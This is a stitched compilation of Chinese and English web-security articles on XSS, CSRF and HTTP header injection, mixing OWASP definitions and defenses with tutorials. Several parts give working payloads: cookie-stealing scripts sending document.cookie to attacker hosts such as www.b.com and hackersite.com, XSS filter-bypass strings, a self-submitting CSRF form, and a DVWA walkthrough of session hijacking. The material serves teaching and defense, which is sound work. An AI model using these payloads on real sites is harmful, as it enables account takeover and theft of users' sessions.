As defined by Amit Klein, who published the first article about this issue [1], DOM Based XSS is a form of XSS where the entire tainted data flow from source to sink takes place in the browser, i.e., the source of the data is in the DOM, the sink is also in the DOM, and the data flow never leaves the browser. For example, the source (where malicious data is read) could be the URL of the page (e.g., document.location.href), or it could be an element of the HTML, and the sink is a sensitive method call that causes the execution of the malicious data (e.g., document.write).”
Types of Cross-Site Scripting
For years, most people thought of these (Stored, Reflected, DOM) as three different types of XSS, but in reality, they overlap. You can have both Stored and Reflected DOM Based XSS. You can also have Stored and Reflected Non-DOM Based XSS too, but that’s confusing, so to help clarify things, starting about mid 2012, the research community proposed and started using two new terms to help organize the types of XSS that can occur:
- Server XSS
- Client XSS
Server XSS
Server XSS occurs when untrusted user supplied data is included in an HTTP response generated by the server. The source of this data could be from the request, or from a stored location. As such, you can have both Reflected Server XSS and Stored Server XSS.
In this case, the entire vulnerability is in server-side code, and the browser is simply rendering the response and executing any valid script embedded in it.
Client XSS
Client XSS occurs when untrusted user supplied data is used to update the DOM with an unsafe JavaScript call. A JavaScript call is considered unsafe if it can be used to introduce valid JavaScript into the DOM. This source of this data could be from the DOM, or it could have been sent by the server (via an AJAX call, or a page load). The ultimate source of the data could have been from a request, or from a stored location on the client or the server. As such, you can have both Reflected Client XSS and Stored Client XSS.
With these new definitions, the definition of DOM Based XSS doesn’t change. DOM Based XSS is simply a subset of Client XSS, where the source of the data is somewhere in the DOM, rather than from the Server.
Given that both Server XSS and Client XSS can be Stored or Reflected, this new terminology results in a simple, clean, 2 x 2 matrix with Client & Server XSS on one axis, and Stored and Reflected XSS on the other axis as depicted in Dave Witchers’ DOM Based XSS talk [2]:
Recommended Server XSS Defenses
Server XSS is caused by including untrusted data in an HTML response. The easiest and strongest defense against Server XSS in most cases is:
- Context-sensitive server side output encoding
The details on how to implement Context-sensitive server side output encoding are presented in the OWASP XSS (Cross Site Scripting) Prevention Cheat Sheet in great detail.
Input validation or data sanitization can also be performed to help prevent Server XSS, but it’s much more difficult to get correct than context-sensitive output encoding.
Recommended Client XSS Defenses
Client XSS is caused when untrusted data is used to update the DOM with an unsafe JavaScript call. The easiest and strongest defense against Client XSS is:
- Using safe JavaScript APIs
However, developers frequently don’t know which JavaScript APIs are safe or not, never mind which methods in their favorite JavaScript library are safe. Some information on which JavaScript and jQuery methods are safe and unsafe is presented in Dave Wichers’ DOM Based XSS talk presented at OWASP AppSec USA in 2012 XSS [2]
If you know that a JavaScript method is unsafe, our primary recommendation is to find an alternative safe method to use. If you can’t for some reason, then context sensitive output encoding can be done in the browser, before passing that data to the unsafe JavaScript method. OWASP’s guidance on how do this properly is presented in the DOM based XSS Prevention Cheat Sheet. Note that this guidance is applicable to all types of Client XSS, regardless of where the data actually comes from (DOM or Server).
References
[1] “DOM Based Cross Site Scripting or XSS of the Third Kind” (WASC writeup), Amit Klein, July 2005
http://www.webappsec.org/projects/articles/071105.shtml
[2] “Unraveling some of the Mysteries around DOM Based XSS” (OWASP AppSec USA), Dave Wichers, 2012
https://owasp.org/www-pdf-archive/Unraveling_some_Mysteries_around_DOM-based_XSS.pdf
Related OWASP Articles
- Cross-site Scripting (XSS)
- Stored XSS (AKA Persistent or Type I XSS)
- Reflected XSS (AKA Non-Persistent or Type II XSS)
- DOM Based XSS
- XSS (Cross Site Scripting) Prevention Cheat Sheet
- DOM based XSS Prevention Cheat Sheet
XSS攻击及防御 - 高爽|Coder - CSDN博客 https://blog.csdn.net/ghsau/article/details/17027893
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
XSS攻击
XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。
【DOM Based XSS】基于网页结构的攻击
DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。
场景一:
当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的,猜测它测页面处理可能是这样,其它语言类似:
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>XSS测试</title>
</head>
<body>
页面内容:<%=request.getParameter("content")%>
</body>
</html>
我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址为:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,当Tom点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登录密码,攻击成功!这个过程中,受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>,浏览器展示页面内容的过程中,就会执行我的脚本,页面输出xss字样,这是攻击了我自己,那我如何攻击别人并且获利呢?
【Stored XSS】 存储⑩XSS漏洞
Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。
场景二:
a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务器上,攻击成功!这个过程中,受害者是多个人。
Stored XSS漏洞危害性更大,危害面更广。
XSS防御
我们是在一个矛盾的世界中,有矛就有盾。只要我们的代码中不存在漏洞,攻击者就无从下手,我们要做一个没有缝的蛋。XSS防御有如下方式。
完善的过滤体系
永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。
【标签转换 Html encode】
假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。
less-than character (<)
<
greater-than character (>)
>
ampersand character (&)
&
double-quote character (")
"
space character( )
Any ASCII code character whose code is greater-than or equal to 0x80
&#<number>, where <number> is the ASCII character value.
比如用户输入:<script>window.location.href=”http://www.baidu.com”;</script>,保存后最终存储的会是:<script>window.location.href="http://www.baidu.com"</script>在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。
受害者是合法用户,而不是目标网站
https://www.incapsula.com/web-application-security/cross-site-scripting-xss-attacks.html
Stored XSS Attack Example
While browsing an e-commerce website, a perpetrator discovers a vulnerability that allows HTML tags to be embedded in the site's comments section. The embedded tags become a permanent feature of the page, causing the browser to parse them with the rest of the source code every time the page is opened.
The attacker adds the following comment: Great price for a great item! Read my review here <script src="http://hackersite.com/authstealer.js"> </script>
.
From this point on, every time the page is accessed, the HTML tag in the comment will activate a JavaScript file, which is hosted on another site, and has the ability to steal visitors' session cookies.
Using the session cookie, the attacker can compromise the visitor’s account, granting him easy access to his personal information and credit card data. Meanwhile, the visitor, who may never have even scrolled down to the comments section, is not aware that the attack took place.
Unlike a reflected attack, where the script is activated after a link is clicked, a stored attack only requires that the victim visit the compromised web page. This increases the reach of the attack, endangering all visitors no matter their level of vigilance.
From the perpetrator's standpoint, persistent XSS attacks are relatively harder to execute because of the difficulties in locating both a trafficked website and one with vulnerabilities that enables permanent script embedding.
What is Cross Site Scripting (XSS)
Cross site scripting (XSS) is a common attack vector that injects malicious code into a vulnerable web application. XSS differs from other web attack vectors (e.g., SQL injections), in that it does not directly target the application itself. Instead, the users of the web application are the ones at risk.
A successful cross site scripting attack can have devastating consequences for an online business's reputation and its relationship with its clients.
Depending on the severity of the attack, user accounts may be compromised, Trojan horse programs activated and page content modified, misleading users into willingly surrendering their private data. Finally, session cookies could be revealed, enabling a perpetrator to impersonate valid users and abuse their private accounts.
Cross site scripting attacks can be broken down into two types: stored and reflected.
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application.
Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user's browser. The script is embedded into a link, and is only activated once that link is clicked on.
What is Stored Cross Site Scripting
To successfully execute a stored XSS attack, a perpetrator has to locate a vulnerability in a web application and then inject malicious script into its server (e.g., via a comment field).
One of the most frequent targets are websites that allow users to share content, including blogs, social networks, video sharing platforms and message boards. Every time the infected page is viewed, the malicious script is transmitted to the victim's browser.
Stored XSS Attack Prevention/Mitigation
A web application firewall (WAF) is the most commonly used solution for protection from XSS and web application attacks.
WAFs employ different methods to counter attack vectors. In the case of XSS, most will rely on signature based filtering to identify and block malicious requests.
In accordance with industry best-practices, Imperva Incapsula's web application firewall also employs signature filtering to counter cross site scripting attacks.
Incapsula WAF is offered as a managed service, regularly maintained by a team of security experts who are constantly updating the security rule set with signatures of newly discovered attack vectors.
Incapsula crowdsourcing technology automatically collects and aggregates attack data from across its network, for the benefit of all customers.
The crowdsourcing approach enables extremely rapid response to zero-day threats, protecting the entire user community against any new threat, as soon as a single attack attempt is identified.
Crowdsourcing also enables the use of IP reputation system that blocks repeated offenders, including botnet resources which tend to be re-used by multiple perpetrators.
前端常见的攻击方式及预防方法 - 简书 https://www.jianshu.com/p/a5ff8a23b423
1.XSS (Cross Site Script) ,跨站脚本攻击
有句话说
所有的输入都是有害的。
跨站脚本是最常见的计算机安全漏洞,跨站脚本攻击指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入的恶意html代码会被执行,对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。
xss给人留下的印象:
"xss? 不就是弹出个对话框给自己看吗?"
“跨站脚本是在客户端执行,xss漏洞关我什么事!”
“反正xss不能窃取我的root权限。”
其实,随着web2.0信息分享模式和社交网络的发展,xss衍生出的攻击危害还是很大的。最早的MySpace的xss蠕虫攻击,传染了100多万用户,网站瘫痪,后来的知名网址如微博就爆发了xss蠕虫攻击,持续了16分钟。
危害:
- 网络钓鱼,包括窃取用户账号;
- 窃取用户cookies资料,从而获得用户隐私信息,或利用用户身份进一步对网站执行操作;
- 劫持用户会话,进行非法转账、强制发表日志、发送电子邮件等;
- 强制弹出广告、刷流量等;
- 恶意操作,删除文章等;
- 网页挂马;
- 传播跨站脚本蠕虫等
.....
举个简单栗子 :
假如你现在是站点上一个用户,发布信息的功能存在漏洞可以执行js。你在此刻输入一个恶意脚本,那么当前所有看到你新信息的人的浏览器都会执行这个脚本弹出提示框 (很爽吧 弹出广告 :)),如果你做一些更为激进行为呢?后果难以想象。
反射型XSS
早期,通过url的输入,将恶意脚本附加到URL地址的参数中。能够弹出一个警告框,说明跨站脚本攻击漏洞存在。特点:单击时触发,执行一次。
通常出现在网站的搜索栏、用户登入口等地方。http://weibo.com/login.php?'u=1931138954'<script>alert(/ssss/)</script>
- XSS 跨框架钓鱼
怎么构造钓鱼?使用标签iframe.http://weibo.com/login.php?'u=1931138954'<iframe src='http://www.baidu.com'/>
假如这是一个银行网银登录的网站,存在这样的漏洞,那我们作为攻击者,我可以构造一个类似的页面,把它原有的登录框覆盖掉。我可以把这个链接发给被攻击者,以邮件或者其他的方式,这里需要用到的技术是社会工程学,诱使被攻击者访问这个链接,最终欺骗他来登录,而攻击者就可以轻易的拿到被攻击者的账号和密码信息。也有人问,发过去的这个链接带有这样的标志或参数,被攻击者一眼就能看出来。在这里,我们可以对这段代码进行编码,不管是url的编码还是其他方式的编码,也就是说,被攻击者一眼看不出来这个异常,所以就会被诱使去访问这个链接,最终造成影响。这个是钓鱼攻击。
现在大部分主流浏览器已经对url攻击做了预防方法。
比如在老问吧输入: https://bar.focus.cn/s?keywords=<script>alert(1)</script>
chrome: 直接报错
ie:下面会有弹窗提示阻止跨站点脚本攻击
危险:
网站的用户就有被冒名顶替的风险。也就是我们的cookie信息被获取,我们就存在有被冒名顶替的风险。
我们刚才获取cookie的信息不是让它alter告警方式展示给用户,而是通过脚本程序将我们函数获取的cookie信息,发送至远程的恶意网站,远程的这个恶意网站是专门用来接收当前的cookie信息的,当被攻击者触发这个漏洞以后,它当前用户的cookie信息就会被发送到远端的恶意网站。攻击者登录恶意网站,查看到cookie信息后可以对这个用户的控制权限进行冒名顶替。
- HTML注入式钓鱼
直接利用XSS漏洞注射HTML/JavaScript代码到页面中,或者是把用户输入的数据”存储“在服务器端。比如登录密码直接设置为<script>alert(1)</script>,存入数据库中。
常见解决办法:
设计xss Filter,分析用户提交的输入,并消除潜在的跨站脚本攻击、恶意的HTML等。在需要html输入的地方对html标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
再举个栗子:
用ie在问吧的搜索输入<script>alert('包小姐')</script>
输入
<script>alert(document.cookie)</script>
<script>alert('包小姐')</script>
<script>alert('hello')</script>
在知乎修改密码为:<script>alert('包小姐')</script>
结果:没反应,控制台报错HTTP405: 错误方法 - 不支持使用的 HTTP 谓词。
持久型xss
攻击者事先将恶意js代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意js代码的页面就会执行恶意代码。
通常出现在网站的留言、评论、博客日志等。
危害:不需要单击URL触发,危害比反射型xss大,更严重的是能编写xss蠕虫(利用ajax/js 编写的蠕虫病毒,能够在网站中实现病毒的几何数级传播,其感染速度和攻击效果都很可怕)。
(1)寻找xss点
发掘个人档案、日志、留言等地方的xss漏洞
(2)实现蠕虫行为
将xss shellcode写进xss点(例如个人档案),引诱用户查看,攻击者利用ajax修改受害用户的个人档案信息,将恶意的代码复制进去。随后任何查看受害者个人档案的也会被感染,执行重复操作,直到xss蠕虫传播。
绕过xss Filter:
1、利用<>标记注射HTML/js
解决:过滤和转义<>
或<script>
等字符,从而过滤某些形式的xss<script>shellcode</script>
2、利用HTML标签属性值执行xss
<table background="javascript:alert(/xss/)"></table>
![](javascript:alert('xss');)
解决:过滤JavaScript等关键字。
3、空格回车Tab
利用空车、回车和Tab键绕过限制,![](javas cript:alert(/xss/))
4、对标签属性值转码
HTML属性值支持ASCII形式,![](javascript:alert(/xss/);)
解决:最好也过滤&#\等字符。
5、产生自己的事件
![](#)
,只要图片不存在就会触发onerror事件
6、利用css跨站剖析
使用css样式表执行javascript具有隐蔽、灵活多变的特点
<div style="background-image:url(javascript:alert('xss')">
<style>
<body {background-image:url("javascript:alert('xss')");}
</style>
使用link或import引用css<link rel="stylesheet" href="http://www.evil.com/attack.css">
p {background-image: expression(alert("xss"));}
<style type='text/css'>@import url(http://www.evil.com/xss.css);</style>
解决:禁用style标签,过滤标签时过滤style属性,过滤含expression、import等敏感字符的样式表
7、扰乱过滤规则
大小写混淆,不使用引号<iMg sRC="jaVasCript:alert(0);">
全角字符<div style="{left: expression(alert(0))}">
/**/会被浏览器忽略 <div style="wid/****/th: expre/*XSS*/ssion(alert('xss'));">
\和\0 被浏览器忽略@\0im\port'\0ja\vasc\ript:alert("xss")
;
e转换成\65 <p style="xss:\65xpression(alert(/xss/))">
字符编码:
可以让xss代码绕过服务端的过滤,还能更好地隐藏Shellcode![](javascript:alert('XSS');)
进行十进制转码后得到![](javascript:alert('XSS');)
用eval()执行10进制脚本![](javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41)))
style属性中经过十六进制编码逃避过滤
<div style="xss:expression(alert(1));"></div>
<img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29">
等等其他编码方式
还有js支持unicode、escapes、十六进制、八进制等编码形式,如果运用于跨站攻击,能大大加强xss的威力。
拆分跨站法
当程序没有过滤xss关键字符,却对输入字符长度有限制时。
比如:使用拆分法连续发表4篇文章
标题1:<script>z='<script src=';/*
标题2:/z+='http://www.test.c';/
标题3:/z+='n/1.js></script>';/
标题4:/*document.write(z)</script>
/* * / 在脚本标签中是注释,/和/之间的字符被忽略,最终转成:
<script>z='<script src=';
z+='http://www.test.c';
z+='n/1.js></script>';
document.write(z)</script>
脚本顺利执行。
等等还有很多攻击方式与调用shellcode的方法,这里就不一一讲述了。。。。
防御
确认客户端生成数据的唯一安全方法就是在服务器端实施保护措施。
(1)输出编码
-
< 转成 & lt ;
*> 转成 & gt; -
& 转成 & amp;
...
(2)白名单、黑名单
(3)URL属性
- 规定href和src是以http://开头;
- 规定不能有十进制和十六进制的编码字符
- 规定属性以双引号“界定
前端防御组件:js-xss
js-xss是一个用于对用户输入的内容进行过滤,以避免遭受XSS攻击的模块,一般是基于黑白名单的安全过滤策略。
-
特性
(1)白名单控制允许的HTML标签及各标签的属性
(2)通过自定义处理函数,可对任意标签及其属性进行处理 -
安装
NPM
$ npm install xss
- 使用方法
在node.js中使用
const xss = require('xss');
$('.btnSure').on('click', function(){
let result = xss($('.input').val());
putout.html(result);
});
结果:能够显示出输入的代码,而不是出现alert弹窗。
自定义过滤规则
通过 whiteList
来指定,格式为:{'标签名': ['属性1', '属性2']}
。不在白名单上 的标签将被过滤,不在白名单上的属性也会被过滤。以下是示例:
// 只允许a标签,该标签只允许 title这个属性
let options = {
whiteList:{
a: ['title']
}
};
// 使用以上配置后,下面的HTML
// <a href="https://bar.focus.cn" title="问吧">问吧问吧</a>
// 将被过滤为
// <a title="问吧">问吧问吧</a>
自定义CSS过滤器
如果配置中允许了标签的 style
属性,则它的值会通过cssfilter
模块处理。cssfilter
模块包含了一个默认的CSS白名单,你可以通过以下的方式配置:
myxss = new xss.FilterXSS({
css: {
whiteList: {
position: /^fixed|relative$/,
top: true,
left: true,
}
}
});
html = myxss.process('<script>alert("xss");</script>');
去掉不在白名单上的标签
通过stripIgnoreTag
来设置:
let options = {
whiteList:{
'a': ['title']
},
stripIgnoreTag: true
};
结果:code:<script>alert('问吧');</script>
过滤为code:alert('问吧');
去掉不在白名单上的标签及标签体
通过stripIgnoreTagBody
来设置:
let options = {
whiteList:{
'a': ['title']
},
stripIgnoreTag: ['script']
};
结果:code:<script>alert('问吧');</script>
过滤为code:
参考资料:
《XSS跨站脚本攻击剖析与防御》 邱永华
2.CSRF(Cross Site Request Forgery),跨站点伪造请求。
攻击者通过各种方法伪造一个请求,模仿用户提交表单的行为,从而达到修改用户的数据,或者执行特定任务的目的。
简单例子:
- 在某个论坛管理页面,管理员可以在list.php页面执行删除帖子操作,根据URL判断删除帖子的id,像这样的一个URL
http://localhost/list.php?action=delete&id=12
当恶意用户想管理员发送包含CSFR的邮件,骗取管理员访问http://test.com/csrf.php,在这个恶意网页中只要包含这样的html语句就可以利用让管理员在不知情的情况下删除帖子了
<img alt="" arc="http://localhost/list.php?action=delete&id=12"/>
这个利用了img的src可以跨域请求的特点,这种情况比较少,因为一般网站不会利用get请求修改资源信息。
但是恶意网站这么写一样可以攻击:
<!DOCTYPE html>
<html>
<body>
<iframe display="none">
<form method="post" action="http://localhost/list.php">
<input type="hidden" name="action" value="delete">
<input type="hidden" name="id" value="12">
<input id="csfr" type="submit"/>
</form>
</iframe>
<script type="text/javascript">
document.getElementById('csfr').submit();
</script>
</body>
</html>
解决的思路有:
1.采用POST请求,增加攻击的难度.用户点击一个链接就可以发起GET类型的请求。而POST请求相对比较难,攻击者往往需要借助javascript才能实现。
2.对请求进行认证,确保该请求确实是用户本人填写表单并提交的,而不是第三者伪造的.具体可以在会话中增加token,确保看到信息和提交信息的是同一个人。(验证码)
3.Http Heads攻击
HTTP协议在Response header和content之间,有一个空行,即两组CRLF(0x0D 0A)字符。这个空行标志着headers的结束和content的开始。“聪明”的攻击者可以利用这一点。只要攻击者有办法将任意字符“注入”到headers中,这种攻击就可以发生。
- 以登陆为例:有这样一个url:
http://localhost/login?page=http%3A%2F%2Flocalhost%2Findex
当登录成功以后,需要重定向回page参数所指定的页面。下面是重定向发生时的response headers.HTTP/1.1 302 Moved Temporarily Date: Tue, 17 Aug 2010 20:00:29 GMT Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Location: http://localhost/index
假如把URL修改一下,变成这个样子:
http://localhost/login?page=http%3A%2F%2Flocalhost%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E
那么重定向发生时的reponse会变成下面的样子:
HTTP/1.1 302 Moved Temporarily
Date: Tue, 17 Aug 2010 20:00:29 GMT
Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Location: http://localhost/checkout<CRLF>
<CRLF>
<script>alert('hello')</script>
这个页面可能会意外地执行隐藏在URL中的javascript。类似的情况不仅发生在重定向(Location header)上,也有可能发生在其它headers中,如Set-Cookie header。这种攻击如果成功的话,可以做很多事,例如:执行脚本、设置额外的cookie(<CRLF>Set-Cookie: evil=value)等。
避免这种攻击的方法,就是过滤所有的response headers,除去header中出现的非法字符,尤其是CRLF。
服务器一般会限制request headers的大小。例如Apache server默认限制request header为8K。如果超过8K,Aapche Server将会返回400 Bad Request响应。
对于大多数情况,8K是足够大的。假设应用程序把用户输入的某内容保存在cookie中,就有可能超过8K.攻击者把超过8k的header链接发给受害者,就会被服务器拒绝访问.解决办法就是检查cookie的大小,限制新cookie的总大写,减少因header过大而产生的拒绝访问攻击
测试:
结果控制台输出:SEC7130: “http://weibo.com/u/1931138954/home?wvr=5&lf=reg%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E”中检测到可能的跨站点脚本操作。内容已被 XSS 筛选器修改。
前言
随着互联网的不断发展,web应用的互动性也越来越强。但正如一个硬币会有两面一样,在用户体验提升的同时安全风险也会跟着有所增加。今天,我们就来讲一讲web渗透中常见的一种攻击方式:XSS攻击。
什么是XSS攻击
先上一段标准解释(摘自百度百科)。
“XSS是跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。”
相信以上的解释也不难理解,但为了再具体些,这里举一个简单的例子,就是留言板。我们知道留言板通常的任务就是把用户留言的内容展示出来。正常情况下,用户的留言都是正常的语言文字,留言板显示的内容也就没毛病。然而这个时候如果有人不按套路出牌,在留言内容中丢进去一行
<script>alert(“hey!you are attacked”)</script>
那么留言板界面的网页代码就会变成形如以下:
<html>
<head>
<title>留言板</title>
</head>
<body>
<div id=”board”
<script>alert(“hey!you are attacked”)</script>
</div>
</body>
</html>
那么这个时候问题就来了,当浏览器解析到用户输入的代码那一行时会发生什么呢?答案很显然,浏览器并不知道这些代码改变了原本程序的意图,会照做弹出一个信息框。就像这样。
XSS的危害
其实归根结底,XSS的攻击方式就是想办法“教唆”用户的浏览器去执行一些这个网页中原本不存在的前端代码。
可问题在于尽管一个信息框突然弹出来并不怎么友好,但也不至于会造成什么真实伤害啊。的确如此,但要说明的是,这里拿信息框说事仅仅是为了举个栗子,真正的黑客攻击在XSS中除非恶作剧,不然是不会在恶意植入代码中写上alert(“say something”)的。
在真正的应用中,XSS攻击可以干的事情还有很多,这里举两个例子。
- 窃取网页浏览中的cookie值
在网页浏览中我们常常涉及到用户登录,登录完毕之后服务端会返回一个cookie值。这个cookie值相当于一个令牌,拿着这张令牌就等同于证明了你是某个用户。
如果你的cookie值被窃取,那么攻击者很可能能够直接利用你的这张令牌不用密码就登录你的账户。如果想要通过script脚本获得当前页面的cookie值,通常会用到document.cookie。
试想下如果像空间说说中能够写入xss攻击语句,那岂不是看了你说说的人的号你都可以登录(不过某些厂商的cookie有其他验证措施如:Http-Only保证同一cookie不能被滥用)
- 劫持流量实现恶意跳转
这个很简单,就是在网页中想办法插入一句像这样的语句:
<script>window.location.href="http://www.baidu.com";</script>
那么所访问的网站就会被跳转到百度的首页。
早在2011年新浪就曾爆出过严重的xss漏洞,导致大量用户自动关注某个微博号并自动转发某条微博。具体各位可以自行百度。
利用与绕过
那xss漏洞很容易被利用吗?那倒也未必。
毕竟在实际应用中web程序往往会通过一些过滤规则来组织代有恶意代码的用户输入被显示。
不过,这里还是可以给大家总结一些常用的xss攻击绕过过滤的一些方法,算是抛砖引玉。(以下的绕过方式皆通过渗透测试平台Web For Pentester 演示)
- 大小写绕过
这个绕过方式的出现是因为网站仅仅只过滤了<script>标签,而没有考虑标签中的大小写并不影响浏览器的解释所致。具体的方式就像这样:
利用语句:
http://192.168.1.102/xss/example2.php?name=<sCript>alert("hey!")</scRipt>
- 利用过滤后返回语句再次构成攻击语句来绕过
这个字面上不是很好理解,用实例来说。
如下图,在这个例子中我们直接敲入script标签发现返回的网页代码中script标签被去除了,但其余的内容并没有改变。
于是我们就可以人为的制造一种巧合,让过滤完script标签后的语句中还有script标签(毕竟alert函数还在),像这样:
http://192.168.1.102/xss/example3.php?name=<sCri<script>pt>alert("hey!")</scRi</script>pt>
发现问题了吧,这个利用原理在于只过滤了一个script标签。
- 并不是只有script标签才可以插入代码
在这个例子中,我们尝试了前面两种方法都没能成功,原因在于script标签已经被完全过滤,但不要方,能植入脚本代码的不止script标签。
例如这里我们用<img>标签做一个示范。
我们利用如下方式:
http://192.168.1.102/xss/example4.php?name=<img
src='w.123' onerror='alert("hey!")'>
就可以再次愉快的弹窗。原因很简单,我们指定的图片地址根本不存在也就是一定会发生错误,这时候onerror里面的代码自然就得到了执行。
以下列举几个常用的可插入代码的标签。
<a onmousemove=’do something here’>
当用户鼠标移动时即可运行代码
<div onmouseover=‘do something here’>
当用户鼠标在这个块上面时即可运行(可以配合weight等参数将div覆盖页面,鼠标不划过都不行)
类似的还有onclick,这个要点击后才能运行代码,条件相对苛刻,就不再详述。
- 编码脚本代码绕过关键字过滤
有的时候,服务器往往会对代码中的关键字(如alert)进行过滤,这个时候我们可以尝试将关键字进行编码后再插入,不过直接显示编码是不能被浏览器执行的,我们可以用另一个语句eval()来实现。eval()会将编码过的语句解码后再执行,简直太贴心了。
例如alert(1)编码过后就是
\u0061\u006c\u0065\u0072\u0074(1)
所以构建出来的攻击语句如下:
http://192.168.1.102/xss/example5.php?name=<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>
- 主动闭合标签实现注入代码
来看这份代码:
乍一看,哇!自带script标签。再一看,WTF!填入的内容被放在了变量里!
这个时候就要我们手动闭合掉两个双引号来实现攻击,别忘了,javascript是一个弱类型的编程语言,变量的类型往往并没有明确定义。
思路有了,接下来要做的就简单了,利用语句如下:
http://192.168.1.102/xss/example6.php?name=";alert("I am
coming again~");"
效果如图。
回看以下注入完代码的网页代码,发现我们一直都在制造巧合。。
先是闭合引号,然后分号换行,加入代码,再闭合一个引号,搞定!
- 组合各种方式
在实际运用中漏洞的利用可能不会这么直观,需要我们不断的尝试,甚至组合各种绕过方式来达到目的。
介绍完一些常用的绕过方式,再倒回来讲一下XSS分类,因为下面讲具体的应用时会用到。
XSS攻击大致上分为两类:
一类是反射型XSS,又称非持久型XSS,
一类是储存型XSS,也就是持久型XSS。
什么是反射型XSS
其实,我们上面讲XSS的利用手段时所举的例子都是非持久型XSS。
也就是攻击相对于访问者而言是一次性的,具体表现在我们把我们的恶意脚本通过url的方式传递给了服务器,而服务器则只是不加处理的把脚本“反射”回访问者的浏览器而使访问者的浏览器执行相应的脚本。
也就是说想要触发漏洞,需要访问特定的链接才能够实现。
什么是储存型XSS
它与反射型XSS最大的不同就是服务器再接收到我们的恶意脚本时会将其做一些处理。
例如储存到数据库中,然后当我们再次访问相同页面时,将恶意脚本从数据库中取出并返回给浏览器执行。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。
还记得在文章开头提到的留言板的例子吗?那通常就是储存型XSS。当有人在留言内容中插入恶意脚本时,由于服务器要像每一个访客展示之前的留言内容,所以后面的访客自然会接收到之前留言中的恶意脚本而不幸躺枪。
这个过程一般而言只要用户访问这个界面就行了,不像反射型XSS,需要访问特定的URL。
实例应用
1、劫持访问
劫持访问就是在恶意脚本中插入诸如的代码,那么页面就会跳转到百度首页。
劫持访问在持久型和非持久型XSS中都比较常被利用。持久型XSS中劫持访问的危害不用说大家都清楚,但有人会问非持久型XSS中劫持访问有什么作用呢?
很简单,试想下像http://qq.com,http://baidu.com这样的域名下出现非持久型XSS,那么在发送钓鱼链接时就可以通过http://qq.com等域名进行跳转,一般人一看到http://qq.com之类的域名警惕性会下降,也就更容易上当了。
2、盗用cookie实现无密码登录
具体原理上文已经提到,这里做一个具体演示。由于盗取的cookie需要传回给攻击者,因此往往需要一个服务器来接收盗取的cookie,这也就是xss平台的作用了。网上的xss平台很多,但动手搭建一个也不难,建议有条件的自己搭建。
首先登录平台后台获取到js脚本地址为http://127.0.0.1/XSS/template/default.js,所以我们需要做的是把这段代码植入指定页面。
(这里以DVWA渗透测试平台为例)
我们发现网页对于message长度有限制。审查元素看一下。
发现最大长度有限制,但这仅仅是前端的限制,直接双击修改成更大的数字即可。再次尝试,没问题,我们已经将脚本植入完毕。
然后就是坐等别的用户访问这个界面。
这时,另一个用户gordonb登录并访问了留言界面,那么他的cookie就会被窃取。我们可以从xss平台的后台获取到。
拿到cookie之后要登录他的帐号就好办了。
打开登录界面,调出火狐的firebug插件,调至cookie选项卡(注意,如果你的firebug插件没有cookie选项卡,请再安装firecookie插件即可看到)
然后依次点击cookies-create cookie,随后再弹出的界面中填入两个xss平台获取到的cookie,如图
这里注意要把我箭头所指的地方勾上,这是设置cookie有效期的地方,不然会在设置完下一秒cookie就失效。
